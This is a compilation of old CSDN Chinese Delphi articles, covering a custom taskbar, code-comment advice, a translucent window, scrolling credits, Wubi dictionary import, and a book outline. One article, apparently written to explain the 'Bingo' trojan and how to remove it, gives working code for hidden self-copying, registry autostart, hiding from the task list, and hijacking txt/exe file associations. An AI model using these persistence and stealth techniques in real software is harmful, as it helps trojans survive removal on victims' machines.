CSDN_文档中心_做一个自己的任务栏

用该程序可以做一个自己的任务栏，包括列举出任务栏上程序的Handle、WindowName、程序路径、图标。可选定窗口并提前，或者在程序间切换。
如果你的程序是满屏的，并且屏蔽了系统键的话，或许可以用到下面的技巧。

********************* AppTabP.dpr
program AppTabP;

uses
Forms,
AppTab_f in 'AppTab_f.pas' {AppTab};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TAppTab, AppTab);
Application.Run;
end.

************************ AppTab_f.pas
unit AppTab_f;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, TLHelp32,Buttons,ShellAPI, ExtCtrls, ImgList;

type
TAppTab = class(TForm)
ListBox1: TListBox;
BitBtn1: TBitBtn;
CaptionListBox: TListBox;
PathListBox: TListBox;
HwndListBox: TListBox;
Label1: TLabel;
tempImageList: TImageList;
tempImage: TImage;
procedure BitBtn1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
AppList:TStrings;
AppName_Btn:Array[0..20] of TBitBtn;
procedure AppName_BtnClickHandle(Sender:TObject);
public
{ Public declarations }
end;

var
AppTab: TAppTab;
//得到窗口WindowName
function GetText(Wnd:HWND):string;
//遍历窗口
function EnumWindowsProc(Wnd:HWND;LParam:LPARAM):BOOL;stdcall;
//由进程Handle得到程序名（含路径）
function WndToProc(hwnd:HWND):String;
//取得外部程序的图标，是目录就取文件夹图标
function GetFileIcon(const Filename:String;SmallIcon:Boolean):HICON;
implementation

{$R *.dfm}
function GetText(Wnd:HWND):string;
var TextLength:Integer;
Text:PChar;
begin
TextLength:=SendMessage(Wnd,WM_GETTEXTLENGTH,0,0);
if TextLength=0 then Result:=''
else
begin
GetMem(Text,TextLength+1);
SendMessage(Wnd,WM_GETTEXT,TextLength+1,Integer(Text));
Result:=Text;
FreeMem(Text);
end;
end;

function EnumWindowsProc (Wnd: HWND; LParam: LPARAM): BOOL; stdcall;
begin
Result := True;
if (IsWindowVisible(Wnd) or IsIconic(wnd)) and
((GetWindowLong(Wnd, GWL_HWNDPARENT) = 0) or
(GetWindowLong(Wnd, GWL_HWNDPARENT) = GetDesktopWindow)) and
(GetWindowLong(Wnd, GWL_EXSTYLE) and WS_EX_TOOLWINDOW = 0) then
begin
if Wnd<>Application.Handle then
begin
AppTab.Listbox1.items.add(Inttostr(Wnd)+'*****'+GetText(Wnd)+'*****'+WndToProc(Wnd));
AppTab.HwndListBox.items.add(Inttostr(Wnd));
AppTab.CaptionListBox.items.add(GetText(Wnd));
AppTab.PathListBox.Items.Add(WndToProc(Wnd));
//以下把图标加到ImageList中，为了动态生成按纽时使用
if Copy(WndToProc(Wnd),Length(WndToProc(Wnd))-12,13)='\EXPLORER.EXE' then
AppTab.tempImage.Picture.Icon.Handle:=ExtractIcon(//
HINSTANCE,PChar(GetEnvironmentVariable('windir')+'\system\Shell32.dll'),3)
else AppTab.tempImage.Picture.Icon.Handle:=ExtractIcon(hInstance,PChar(WndToProc(Wnd)),0);
AppTab.tempImageList.AddIcon(AppTab.tempImage.Picture.Icon);
end;
end;
end;

procedure TAppTab.BitBtn1Click(Sender: TObject);
var AppNum:Integer;
begin
for AppNum:=0 to ListBox1.Items.Count-1 do
begin
AppName_Btn[AppNum]:=TBitBtn.Create(Self);
AppName_Btn[AppNum].Hint:=CaptionListBox.Items[AppNum];
AppName_Btn[AppNum].Caption:=Copy(CaptionListBox.Items[AppNum],1,8);
AppName_Btn[AppNum].Parent:=Self;
AppName_Btn[AppNum].Left:=82*AppNum;
AppName_Btn[AppNum].Width:=80;
AppName_Btn[AppNum].ShowHint:=True;
AppName_Btn[AppNum].Layout:=blGlyphLeft;
AppName_Btn[AppNum].OnClick:=AppName_BtnClickHandle;
AppName_BTN[AppNum].Tag:=StrToInt(HwndListBox.Items[AppNum]);//把Tag属性使用起来，在SetForegroundWindow时可以直接用
//给按纽加图标
tempImageList.GetBitmap(AppNum,AppName_Btn[AppNum].Glyph);
end;
end;

function WndToProc(hwnd:HWND):String;
var PID:DWORD;
ok:Boolean;
ProcessListHandle: THandle;//进程列表的句柄
ProcessStruct:PROCESSENTRY32; //进程的结构，进程的信息都在这个结构里
begin
Result:='';
GetWindowThreadProcessId(hwnd, PID);
ProcessListHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
ProcessStruct.dwSize:=Sizeof(ProcessStruct);
ok:=Process32First(ProcessListHandle,ProcessStruct);
while ok do
begin
if PID=ProcessStruct.th32ProcessID then Break;
ok:=Process32Next(ProcessListHandle,ProcessStruct);
end;
CloseHandle(ProcessListHandle);
Result:=ProcessStruct.szExeFile;
end;

procedure TAppTab.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
AppList.Free;
end;

procedure TAppTab.FormShow(Sender: TObject);
begin
ListBox1.Clear;
EnumWindows(@EnumWindowsProc,Sizeof(Integer));
end;

procedure TAppTab.FormCreate(Sender: TObject);
begin
AppList:=TStringList.Create;
end;

procedure TAppTab.AppName_BtnClickHandle(Sender:TObject);
begin
//把Tag使用起来,它不是废物!!
ShowWindow(TBitBtn(Sender).Tag, SW_SHOW);
ShowWindow(TBitBtn(Sender).Tag, SW_RESTORE);
SetForegroundWindow(TBitBtn(Sender).Tag);
//上面为什么要用三句呢？奇怪啊
end;

function GetFileIcon(const Filename:String;SmallIcon:Boolean):HICON;
var info:TSHFILEINFO;
Flag:Integer;
begin
if SmallIcon then Flag:=(SHGFI_SMALLICON or SHGFI_ICON)
else Flag:=(SHGFI_LARGEICON or SHGFI_ICON);
SHGetFileInfo(Pchar(Filename),0,info,Sizeof(info),Flag);
Result:=info.hIcon;
end;

end.

****************************** AppTab_f.dfm
object AppTab: TAppTab
Left = 4
Top = 87
Width = 797
Height = 424
Caption = 'AppTab'
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = '宋体'
Font.Style = []
OldCreateOrder = False
OnCloseQuery = FormCloseQuery
OnCreate = FormCreate
OnShow = FormShow
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 24
Top = 216
Width = 521
Height = 13
Caption =
'Handle 程序路径 Win' +
'dowName'
end
object tempImage: TImage
Left = 528
Top = 16
Width = 41
Height = 41
Visible = False
end
object BitBtn1: TBitBtn
Left = 0
Top = 52
Width = 137
Height = 25
Caption = '生成按纽'
TabOrder = 1
OnClick = BitBtn1Click
Glyph.Data = {
DE010000424DDE01000000000000760000002800000024000000120000000100
0400000000006801000000000000000000001000000000000000000000000000
80000080000000808000800000008000800080800000C0C0C000808080000000
FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333336633
3333333333333FF3333333330000333333364463333333333333388F33333333
00003333333E66433333333333338F38F3333333000033333333E66333333333
33338FF8F3333333000033333333333333333333333338833333333300003333
3333446333333333333333FF3333333300003333333666433333333333333888
F333333300003333333E66433333333333338F38F333333300003333333E6664
3333333333338F38F3333333000033333333E6664333333333338F338F333333
0000333333333E6664333333333338F338F3333300003333344333E666433333
333F338F338F3333000033336664333E664333333388F338F338F33300003333
E66644466643333338F38FFF8338F333000033333E6666666663333338F33888
3338F3330000333333EE666666333333338FF33333383333000033333333EEEE
E333333333388FFFFF8333330000333333333333333333333333388888333333
0000}
NumGlyphs = 2
end
object CaptionListBox: TListBox
Left = 456
Top = 232
Width = 332
Height = 162
ItemHeight = 13
TabOrder = 2
end
object PathListBox: TListBox
Left = 104
Top = 232
Width = 345
Height = 163
ItemHeight = 13
TabOrder = 3
end
object ListBox1: TListBox
Left = 1
Top = 81
Width = 784
Height = 128
ItemHeight = 13
TabOrder = 0
end
object HwndListBox: TListBox
Left = 0
Top = 232
Width = 101
Height = 161
ItemHeight = 13
TabOrder = 4
end
object tempImageList: TImageList
Left = 496
Top = 24
end
end


CSDN_文档中心_// I have a comment ----Delphi 研发人员谈注释 (翻译版)

摘要:Robert Kozak, 来自Delphi R&D, 讨论关于正确的代码编写方法.

// 我有一个注释

by Robert Kozak (Delphi R&D)

两个月以前，我有机会去回顾一下我第一次为Delphi工作的时候所编写的一些代码。我实在是不愿意承认那是我写的－因为他们实在是太糟糕了。这当然是一段令人羞辱的经验。我的技术自从那个时候以来已经有了长足的进步。事实上，我注意到了在这几个月里我的改变。不知道你是否曾经回过头去看看半年前你写的代码。我敢打赌你脑海中一定是“我在想什么呢？我肯定不会这样写的。”

如果你曾经不得不维护你上一个项目的代码，我敢打赌那一定是很痛苦的。更令人痛苦的是你不得不去维护其他人的代码。唯一一种可以使这种痛苦减轻的方法就是一个好的注释。注意我说的是“好的”注释。不好的注释实际上还不如没有注释呢。举例来说，我们看看下面这段代码，它都做了些什么？

上面的这段注释绝对没有任何意义，它不能告诉你这段代码的功能。还有更好的吗？

写出好的注释的诀窍就是问问你自己为什么要写这段注释。在你的注释里，不要试图去写代码是怎么工作的，而是要解释你为什么要写它。特别是，你写的注释如果走对了路的话，它们会很精简。

(* 注释的种类 *)

注释分五个基本的类型。我会按照由差到好的顺序解释他们

重复代码

这种类型的注释只是用另外一种方式重新描述了一便代码，而没有任何其他的附加信息。这种注释要绝对避免。

解释代码

这种类型的代码常常是解释一段复杂的或是技巧性的代码。这种类型的注释比较容易理解，它们对于重写这段代码一般是比较有帮助的。

标记

标记一般是为你自己或者是你小组里的其他成员所做的一段临时的信息。现在Delphi 5的编译器可以识别//TODO　注释。最初，我使用 //rk: 而我的一个朋友使用　//\\　来标记代码，这些标记在项目完成以后都是应当去掉。

代码的总结

这种类型的注释以简短的语言总结了代码。这比仅仅简单的重复代码要好的多，因为它可以让一些不熟悉你的代码的人快速的浏览你的代码。

描述代码的目的

这种是解释代码的意图，换句话来说，是代码为什么这样写。这种类型的注释很容易阅读，并且给你提供了理解代码的必要信息。

{注释的方法}

好，现在我们知道应该使用后两种类型的注释(代码的总结和描述代码目的)。让我们来看一些可以适当的使用它们的技术。这里有5个基本的区域可以使用注释：

只有一行的代码，代码段，数据结构，函数，单元和工程

只有一行的代码　(Individual lines)

如果你希望写出好的注释(这正是我们的目的所在，不是吗？)，那么你在只有一行的代码中只能使用两种注释。第一种，这行代码很复杂，需要进行解释。尽管重新编写一段复杂的函数来澄清它的意图是比较容易的，但是对于一行代码来说却很难。第二种，这行代码有错误，你想记录下来以便以后修改。

我一般会在在一行代码后面紧接一段注释。就象下面这样：

这种方法一般会因为没有的足够空间来澄清代码的意图而演变为重复代码。它也因为很难保持代码的排列和对齐而趋向于使用缩写词。唯一一种合适的用途是用来解释数据声明、维护注释或者是一段代码的结束标记(例如 //end if, //end while 等)。数据声明会因为这种注释而尽量短，因为这样可以留出更多的空间来注释。如果你在每一个数据声明的上面都加上这种注释的话，会难以保持数据声明的连贯性。维护注释一般要尽量的短，主要是记录初始化信息、数据和错误数目。它一般并不是真正的注释代码的意图，所以用这种方式(代码后紧跟注释)是比较合适的。

代码段

这是最常用的(也是最好的)一种方法来注释你的代码。用这种方式注释要描述清楚代码的意图。不要忘记，要集中描述“为什么”而不是“怎么做”。这种类型的注释要为读它的人说明接下来要做什么，他们可以通过注释搞清楚代码在做什么。

数据结构声明

这里的注释用来描述变量声明以及描述变量的名字所不能表达出来的东西。例如他们的单位(公里，英尺，磅等)。变量注释应当出现在变量声明的地方，如果你有一些标记型变量(flag bariables)，它们每一位都有不同的含义，那么它们都需要注释。

函数

有些人会告诉你，每一个函数都需要一个巨大的统一风格的注释。这真是可笑。最简单的一点，这样会使注释很难以阅读，并且距离它所描述的代码也很远。好的注释应当在它所描述的代码的附近，而且一般来说，几行的注释就足够了。如果要经常考虑到函数的细节问题，我们就需要更多一点的详细信息，看下面这个例子：

我经常会在这段代码上遇到麻烦，因为我总是忘记哪一个是 Sender 哪一个是Target。即使在我自己的代码里面，在带有这种 Sender 和 Target的函数里，我仍然会忘记哪一个是导入的变量，哪一个是导出的变量。一个注释可以在很大程度上减轻这种混乱。还有其他一些可以放在函数注释里面的是(如果需要的话)：接口设想，修改历史记录，函数的限制，全局的影响，算法的来源以及使用的设计模式。

单元和工程

最后，我们讨论到单元和工程。当给一个单元和工程文件注释的时候，你可以用简短的语言描述每一个文件的目的。你也可以包含修改历史记录、主要对象的描述和使用的设计模式。你也可以包含你的名字和联系方式(电话号码或email)，这样如果有人维护你的代码的时候，他们可以和你联系。另外，如果有版权信息的话，也可以加进去。

//end file

如果你喜欢我的话，你就应当好好提高你写注释的技巧。编写注释不应是一件困难和费时费力的事情。只要记住，你的代码说明“怎么做”，而你的注释说明“为什么”。如果你能一直记住这一点的话，我想就连我也能看懂你的程序。

{ TODO: 更多的信息请看 Code Complete by Steve McConnell, Microsoft Press }


CSDN_文档中心_<窗体特效〉半透明窗体 像Foxmail3.1beta的一样

在windows2000下增加了一些API,可以轻易的实现半透明的窗体，源程序如下，必要的地方我加上了注释
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

const
WS_EX_LAYERED = $80000;
AC_SRC_OVER = $0;
AC_SRC_ALPHA = $1;
AC_SRC_NO_PREMULT_ALPHA = $1;
AC_SRC_NO_ALPHA = $2;
AC_DST_NO_PREMULT_ALPHA = $10;
AC_DST_NO_ALPHA = $20;
LWA_COLORKEY = $1;
LWA_ALPHA = $2;
ULW_COLORKEY = $1
ULW_ALPHA = $2
ULW_OPAQUE = $4
//新增加的常量定义
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

function SetLayeredWindowAttributes(hwnd:HWND; crKey:Longint; bAlpha:byte; dwFlags:longint ):longint; stdcall; external user32;//函数声明

var
Form1: TForm1;

implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var l:longint;
begin
l:=getWindowLong(Handle, GWL_EXSTYLE);
l := l Or WS_EX_LAYERED;
SetWindowLong (handle, GWL_EXSTYLE, l);
SetLayeredWindowAttributes (handle, 0, 180, LWA_ALPHA);
//第二个参数是指定透明颜色
//第二个参数为0则使用第四个参数设置alpha值，从0到255，其他的我不太清楚，因为没有api帮助
end;

end.


CSDN_文档中心_{在Delphi中实现动态字幕}

{　　如果大家使用过《金山词霸》或《东方快车》的话，一定会对其“关于”窗口中的滚动字幕感兴趣，其实利用Delphi中的Timer控件可以很轻松地实现这一功能。
    一、设计思路
    首先在窗体上放置一个Panel控件，并在Panel控件中放置需要显示的文字，然后通过Timer控件，在一定的间隔时间内不断改变Panel控件的位置就可以实现滚动字幕的效果了。
    二、实现方法
    1.新建一个窗体，设置其属性如下：
    Name：frmAbout1
    AutoScroll：False
    2.在窗体上放置一个Panel控件，其默认名称为Panel1，设置其属性如下：
    BevelOuter：bvNone
    Caption:（设为空）
    调整Panel1的高度和宽度，使其成一竖长条形，其高度视需显示的内容多少而定（可以大于窗体的高度）。
    3.在Panel1上面放置Label控件以显示文字，当然你也可以在上面放置Image控件来显示图片，但图片的尺寸不可太大，否则会影响显示效果。
    4.在窗体上放置一个Timer控件，其默认名称为Timer1，将其Interval属性值设为50，并在其OnTimer事件中输入以下代码：
if Panel1.top>－Panel1.height then
Panel1.top:=Panel1.top－1
else
Panel1.top:=frmAbout1.height－35;
    {判断Panel1是否移动到了窗体的最上端，如果不是，就向上移动一个像素点的位置；如果是的话，就将Panel1移动到窗体的最下端，循环显示字幕}
    5.在窗体上放置一个Button控件，将其Caption属性设为“确定”，并在OnClick事件中输入以下代码：
    close;{关闭窗体}
    三、改进分析
    以上是一个简单的滚动字幕的实现过程，但还有一个地方需要进一步完善：如果窗体使用了图片作为背景的话，Panel控件会遮挡住部分背景图案。其实要解决这个问题，我们完全可以不使用Panel控件，而是直接将Label控件放置在窗体上，并将Label控件的Transparent（透明）属性值设为True，然后通过Timer控件直接控制这些Label控件的移动。限于篇幅，在这里笔者就不再具体叙述了


CSDN_文档中心_“98五笔字型输入法”大批量造词

“98五笔字型输入法”大批量造词

五笔字型是目前最为流行的汉字输入法之一。“98五笔字型”相对于86版五笔字型，
从编码理论、编码规则、部件设计等多方面有许多创新和提高，但笔者在使用中感觉其
自带的词库的词汇量太少，很多常用词词库中没有，如“大量、采用、备份、宽度、办事员、女朋友、翻两番、按惯例、本世纪初、隆重庆祝、办公自动化”等。《电脑报》
1999年第35期“为五笔字型输入法添加大批量词组”曾介绍把“微软拼音输入法”的词组添加到“98五笔字型输入法”中（前者的词组比后者多一倍），但文章介绍的方法不适用于“98五笔字型”，不过“98五笔字型”自带有词库生成器，所以做起来要简单一些。

1.还原“微软拼音输入法”的码表原文件：

在Win98中单击“开始\程序\附件\输入法生成器”，打开输入法生成器属性页，在
“逆转换”子页面中单击“打开文件”按钮，在打开文件对话框中选择“C:\windows\system\winpy.mb
（即微软拼音输入法的码表文件）”，按确定按钮回到输入法生成器，在码表原文件框
中输入转换后想要保存的文件名如：“C:\winpy.txt”，单击逆转换即生成winpy.txt
码表原文件，这就是我们需要的文件。

2.删除文件中的字母和单字：

码表原文件生成后还不能被“王码汉字输入法词库生成器”接受，必须删除其中的字母、字
符等，为减小文件长度应删除所有单字，下面介绍用Word2000进行处理。

(1)用Word打开winpy.txt，删除头部如下输入法信息：

[Description]

Name=全拼

MaxCodes=12

MaxElement=1

UsedCodes=abcdefghijklmnopqrstuvwxyz

WildChar=?

NumRules=3

[Rule]

ca4=p10+p20+p30+p40

ce2=p10+p20

ce3=p10+p20+p30

[Text]

(2)删除拼音字母：选菜单“编辑\替换（或直接按Ctrl+H快捷键）”命令，打开“查找
和替换”操作窗口，单击“高级”按钮，再单击“特殊字符\任意字母（或直接输入^$）”，
在“替换为”框中不要有任何字符，最后单击“全部替换”。

(3)删除多余空格：在“查找和替换”操作窗口中的“查找内容”框中按一下空格键，
“替换为”框中不要有任何字符，单击“全部替换”。

(4)删除单字：这一步比较复杂，因为删除单字时需要用到通配符，但通配符不能和特殊字符同时使用，所以要在回车符前后插入一些辅助字符，删除单字后再把辅助字符删除。首先光标定位在“查找内容”框，单击“特殊字符\段落标记符（或直接输入^p）”，“替换为”框中输入“$$^p##”，单击“全部替换”；其次选中“使用通配符”前的复选框，在查找内容中输入"##?$$"，“替换为”框中不要有任何字符，单击“全部替换”，这样单字就被删除，文件中就只剩下词组；最后把多余的段落标记符和辅助字符删除，多余的段落标记符删除方法是在“查找内容”框中输入两个段落标记符如“^p^p”，“替换为”框中输入一个段落标记符“^p”，经过多次替换直到没有多余的段落标记符为至。现在词组文件就生成了，按保存按钮保存这个文件，出现对话框时直接按回车保存为文本文件（TXT文件）。

3.将新词组添加至“王码汉字输入法词库”中：

按如下步骤“开始\程序\王码输入法\词库生成器”运行“王码汉字输入法词库生成器”，
文件名中输入以上生成的词组文本文件winpy.txt，或单击“游览”按钮选择词组文件，建库方式选择追加词库，单击“开始造词”，注意观察下面的进度条，如果在100%之前结束，说明文件中有不被识别的字母或符号，检查后重新生成。“王码汉字输入法词库生成器”添加新词时，先与原词库中的词进行对比，如果要添加的词在原词库中已经存在，则不再添加该词。

4.疑难问题：

(1)winpy.txt文件的长度按照A4纸有一千多页，所以删除操作过程要很长时间，可以把文件先切分成两个或多个文件后分别处理，处理完再合并。经过添加后的“98王码汉字输入法词库”大约有三万条词组，比原来增加了一倍。

(2)删除多余的段落标记符时，可以先在“查找内容”框中输入若干个段落标记符如“^p^p^p^p^p^p”，
执行一次全部替换后，减少个数再执行全部替换，“替换为”框中始终保持一个段落标记符“^p”，
这样速度要快一些。

(3)王码汉字输入法词库中有重码时后追加的词总是排在先加入的词前面，即微软拼音输入法的词组排在王码汉字输入法词组前，这样一来常用词组并不排在前面，给输入带来一些麻烦，有两种解决办法，一是用“王码汉字输入法词库生成器”把新生成的词库还原成文本文件，编辑一下；二是在添加词库之前把原来的“王码汉字输入法词库”还原成文本文件，添加“微软拼音输入法”词组时用更新词库的方法，之后再把原来“王码汉字输入法词库”追加到词库中。

(4)王码汉字输入法词库没有排序的功能，所以有重码词组并不一定按照字数排列，这也可以自己还原词库编辑处理，编辑时要注意王码汉字输入法词库把空格和回车符作为两个词组的分割符，所以一个词组中间不能有空格和回车换行符（Word中的段落标记符），另外王码汉字输入法词库中有一些错词如“工共中央国务院”，如有兴趣可以自行编辑改正。

(5)如果Win98附件中没有输入法生成器一项，请把Win98安装盘放入光驱，从“开始\设置\控制面板\添加删除程序\Windows安装程序”添加。以上五笔字型输入法为“98王码(五笔字型WM9801国标版)”。

(6)如果你嫌以上太麻烦可与作者联系索要已经处理过的词组文本文件，按以上方法更新“98五笔字型”词库文件即可。(zheast@371.net)


CSDN_文档中心_“冰河”启示录

冰河”启示录

陈经

前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域，我们理应宁可自制力让我们的预见力保持寂寞，也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3

(1)

“冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发.
一、程序安装
此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com
1:自我拷贝法
这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法.
一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序.
修改dpr项目文件，修改begin和end之间的代码如下：
begin
Application.Initialize;
if FindWindow('TForm1','Form1')=0 then begin
//当没有找到Form1时执行下面代码
Application.ShowMainForm:=False; //不显示主窗口
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.
另一种方法是启动时会先通过窗口名来确定是否已经在运行，如果是则关闭原先的再启动。“冰河”就是用这种方法的。
这样做的好处在于方便升级.它会自动用新版本覆盖旧版本.
方法如下:修改dpr项目文件
uses
Forms,windows,messages,
Unit1 in 'Unit1.pas' {Form1};

为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏

启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可.

(2)

“冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
const K = '\txtfile\shell\open\command';
var sFileName:string;
begin

//******************************************************
with TRegistry.Create do //写注册表,让程序跟文本文件关联
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtao,http://lovejingtao.126.com}
WriteString( '', application.ExeName+' "%1" ');
{Write by Lovejingtao,lovejingtao@21cn.com}
finally
free;
end;
//*******************************************************
with TRegistry.Create do //写注册表，每次启动时自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( 'myTray', application.ExeName );
finally
free;
end;
//********************************************************
if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除
begin
copyfile;//自定义拷贝资源文件过程
winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide);
end;

//**********************************************************
if ParamCount>0 then begin (* 有执行参数传入 *)
sFileName:=ParamStr(1); (* 取得参数内容 *)
winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
//winexec(pchar( sFileName),sw_show);
end;
//*******************************************************
application.Terminate;//退出
end;
如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为
"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);"
改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll,
否则会因为关联Exe文件而退不出Windows.

启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.

★作者:

陈经韬
Http:Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com


CSDN_文档中心_《Delphi高手突破》初稿目录

这是我的新书的初稿的目录，写了近半年时间，可以说很辛苦，不过也感觉很值得，只是心中一直惴惴不安，恐怕辛苦换不来成果。

很高兴CSDN上很多朋友期待这本书，于是在完成初稿后，想立刻和大家分享一些。

注意：正式稿的目录可能与这个目录还有细微差异。

和本书主题相关的，如果您还想要加入什么内容，请告诉我，谢谢。

本书第一章全文，可在这里看：
http://www.csdn.net/Expert/TopicView1.asp?id=472727

————————————————————————
《Delphi高手突破》初稿目录

第0章 关于本书
0.1 这本书没有什么？
0.2 这本书有什么？
0.3 这本书还没有什么？
0.4 这本书究竟有什么？
0.5 本书章节介绍
0.6 本书的支持网页

第1篇 DELPHI 与OOP

第1章 重新认识DELPHI 5
1.1 开发工具“以人为本”论
1.2 Delphi更多的优势
1.3 本书主题
1.4 小结
第2章 面向对象编程技术基础
2.1 类和对象的本质
2.2 封装
2.3 继承的本质
2.4 多态的本质
2.5 小结
第3章 异常及错误处理
3.1 异常的本质
3.2 创建自己的异常类
3.3 try…finally
3.4 构造函数与异常
3.5 小结

第2篇 VCL与组件

第4章 VCL库
4.1 VCL概貌
4.2 TObject与消息分发
4.3 TControl与Windows消息的封装
4.4 TApplication与主消息循环
4.5 TCustomForm与模态窗口
4.6 小结
第5章 扩展VCL库
5.1 组件基础
5.2 扩展现有组件
5.3 自制组件
5.4 光盘上的组件以及演示程序代码
5.5 小结

第3篇 OOP与代码设计

第6章 代码设计基础
6.1 创建良好设计的代码
6.2 使用OOP进行代码设计
6.3 小结
第7章 代码设计实例——SUNNY SMARTNOTE
7.1 需求概述与代码风格说明
7.2 IssnEditor／TssnEditor／TssnWorkSpace
7.3 TssnWorkSpaceMgr／TssnWorkSpace
7.4 构造器TssnEditorCtor／TssnWorkSpaceMgrCtor
7.5 事件委托TssnEditorEvent／TssnWorkSpaceEvent
7.6 其它模块
7.7 光盘上的代码说明
7.8 小结


CSDN_文档中心_《Delphi高手突破》第0章（预览版）——关于本书

第0章 关于本书

感谢您阅读本书！

本书是写给程序员的，更确切说，是写给Delphi程序员的，再确切些，是写给已经有了一定的实现能力而欲求寻找一种"突破"的Delphi程序员的。
作者本人，在接触了两年的Delphi之后，曾经迷茫过。我可以写各种各样的程序，我懂得VCL大多数组件的用法，我知道应该调用哪个Windows API来完成我要的功能……但时常会疑惑：这就是写程序了？那时候在大学里读书，课余时间很多，每天就不停地写，写各种程序：包括课堂的作业、在网上发布的免费软件以及接到的开发项目。每天都写代码，有了Delphi的help和MSDN，似乎不会有什么困难，只是偶尔会觉得单调。不禁又问自己：这就是写程序了？
我迷茫，是因为我感到，写程序不应该是件单调的事情；我迷茫，是因为自己总在寻求却始终没有找到一种"突破"的感觉；我迷茫，是因为我想成为"高手"却不知道如何去做……
